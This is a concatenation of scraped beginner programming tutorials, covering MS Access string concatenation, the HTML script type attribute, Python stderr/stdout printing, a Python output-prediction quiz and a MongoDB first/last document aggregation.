2. Concat With & :In MS Access, we can combine two or more than two strings with the help of & into one string. It will make all strings into one string. We can perform concatenation of the multiple strings together into a single string with the & operator. Concatenation can also be performed between the string with the help of the Concat function. There is no parameters or arguments for the & operator.
Syntax :
string1 & string2 & string3 &string_n
Example-1 :
SELECT "GEEKS" & "FOR" & "GEEKS" AS The_String;
Output :
Example-2 :
SELECT "A" & NULL & "B"& NULL & "C";
Output :
"ABC"
Example-3 :
SELECT "COMPUTER" & " " & "SCIENCE"  AS The_String;
Output :
DBMS-SQL
SQL
SQL
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to Update Multiple Columns in Single Update Statement in SQL?
Window functions in SQL
What is Temporary Table in SQL?
SQL using Python
SQL | Sub queries in From Clause
SQL Query to Find the Name of a Person Whose Name Starts with Specific Letter
RANK() Function in SQL Server
SQL Query to Convert VARCHAR to INT
SQL | DROP, TRUNCATE
SQL Query to Compare Two Dates
HTML | <script> type Attribute

21 Dec, 2020
The HTML <script> type Attribute is used to specify the MIME type of script and identify the content of the Tag. It has a Default value which is “text/javascript”.
Syntax: 
<script type="media_type">
Attribute Values: It contains a single value i.e media_type which specifies the MIME type of script.Common “media_type” values are: 
text/javascript (this is default)
text/ecmascript
application/ecmascript
application/javascript
Example: This example illustrates the use of type attribute in <script> element. 
html
<!DOCTYPE html><html> <head>    <title>        HTML script type Attribute    </title></head> <body style="text-align:center; ">     <h1 style="color:green;">        GeeksforGeeks    </h1>     <h3>        HTML script type Attribute    </h3>     <script id="myGeeks" type="text/javascript">        document.write("Hello from GeeksforGeeks");    </script></body> </html>                                                      
Output:  
Supported Browsers: The browser supported by HTML <script> type Attribute are listed below: 
Google Chrome
Internet Explorer
Mozilla  Firefox
Safari
Opera
 
arorakashish0911
HTML-Attributes
HTML
Web Technologies
HTML
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to update Node.js and NPM to next version ?
REST API (Introduction)
CSS to put icon inside an input element in a form
Design a Tribute Page using HTML & CSS
Types of CSS (Cascading Style Sheet)
Installation of Node.js on Linux
Difference between var, let and const keywords in JavaScript
How to fetch data from an API in ReactJS ?
Differences between Functional Components and Class Components in React
Remove elements from a JavaScript Array
How to print to stderr and stdout in Python?

27 May, 2021
In Python, whenever we use print() the text is written to Python’s sys.stdout, whenever input() is used, it comes from sys.stdin, and whenever exceptions occur it is written to sys.stderr. We can redirect the output of our code to a file other than stdout. But you may be wondering why one should do this? The reason can be to keep a log of your code’s output or to make your code shut-up i.e. not sending any output to the stdout. Let’s see how to do it with the below examples.Example 1: Writing to stderr instead of stdout.  
Python3
import sys  def print_to_stderr(*a):     # Here a is the array holding the objects    # passed as the argument of the function    print(*a, file = sys.stderr) print_to_stderr("Hello World")
Output: 
Example 2:Writing to the stdout  
Python3
import sys  def print_to_stdout(*a):     # Here a is the array holding the objects    # passed as the argument of the function    print(*a, file = sys.stdout) print_to_stdout("Hello World")
Output: 
 
simranarora5sos
python-basics
Python
Write From Home
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Output of Python Program | Set 3

19 Nov, 2020
Difficulty level : Intermediate
Predict the output of following Python Programs.
Program 1:
class Geeks:    def __init__(self, id):        self.id = id  manager = Geeks(100)  manager.__dict__['life'] = 49  print (manager.life + len(manager.__dict__))
Output:
51

Explanation : In the above program we are creating a member variable having name ‘life’ by adding it directly to the dictionary of the object ‘manager’ of class ‘Geeks’. Total numbers of items in the dictionary is 2, the variables ‘life’ and ‘id’. Therefore the size or the length of the dictionary is 2 and the variable ‘life’ is assigned a value ’49’. So the sum of the variable ‘life’ and the size of the dictionary is 49 + 2 = 51.
 
Program 2:
a = "GeeksforGeeks "  b = 13  print (a + b)
Output:
An error is shown.

Explanation : As you can see the variable ‘b’ is of type integer and the variable ‘a’ is of type string. Also as Python is a strongly typed language we cannot simply concatenate an integer with a string. We have to first convert the integer variable to the type string to concatenate it with a string variable. So, trying to concatenate an integer variable to a string variable, an exception of type “TypeError” is occurred.
 
Program 3:
dictionary = {}dictionary[1] = 1dictionary['1'] = 2dictionary[1] += 1  sum = 0for k in dictionary:    sum += dictionary[k]  print (sum)
Output:
4

Explanation: In the above dictionary, key 1 enclosed between single quotes and only 1 represents two different keys as one of them is an integer and the other is a string. So, the output of the program is 4.
 
Program 4:
dictionary = {1:'1', 2:'2', 3:'3'}del dictionary[1]dictionary[1] = '10'del dictionary[2]print (len(dictionary))
Output:
2

Explanation : The task of the ‘del’ function is to remove key-value pairs from a dictionary. Initially the size of the given dictionary was 3. Then the key value pair for key 1 is first removed and then added back with a new value. Then the key value pair for key 2 is removed. So, finally the size of the dictionary is 2.
This article is contributed by Pratik Agarwal. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Python-Output
Program Output
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Tryit Editor v3.7

HTML Input types
Tryit: input type = time
In MongoDB, what is the most efficient way to get the first and last document?

To get the first and last document in MongoDB, use aggregate() along with firstandlast respectively. Let us create a collection with documents −
> db.demo73.insertOne({"Name":"Chris"});
{
   "acknowledged" : true,
   "insertedId" : ObjectId("5e29c41b71bf0181ecc4226c")
}
.
> db.demo73.insertOne({"Name":"Bob"});
{
   "acknowledged" : true,
   "insertedId" : ObjectId("5e29c41e71bf0181ecc4226d")
}
> db.demo73.insertOne({"Name":"David"});
{
   "acknowledged" : true,
   "insertedId" : ObjectId("5e29c42271bf0181ecc4226e")
}
Display all documents from a collection with the help of find() method −
> db.demo73.find();
This will produce the following output −
{ "_id" : ObjectId("5e29c41b71bf0181ecc4226c"), "Name" : "Chris" }
{ "_id" : ObjectId("5e29c41e71bf0181ecc4226d"), "Name" : "Bob" }
{ "_id" : ObjectId("5e29c42271bf0181ecc4226e"), "Name" : "David" }
Following is the way to get the first and last document−
> db.demo73.aggregate({
...    $group: {
...       _id: null,
...       first: { $first: "$$ROOT" },
...       last: { $last: "$$ROOT" }
...    }
... }
... );
This will produce the following output −
{
   "_id" : null, "first" : { "_id" : ObjectId("5e29c41b71bf0181ecc4226c"), "Name" : "Chris" }, "last" : {
      "_id" : ObjectId("5e29c42271bf0181ecc4226e"), "Name" : "David"
   }
}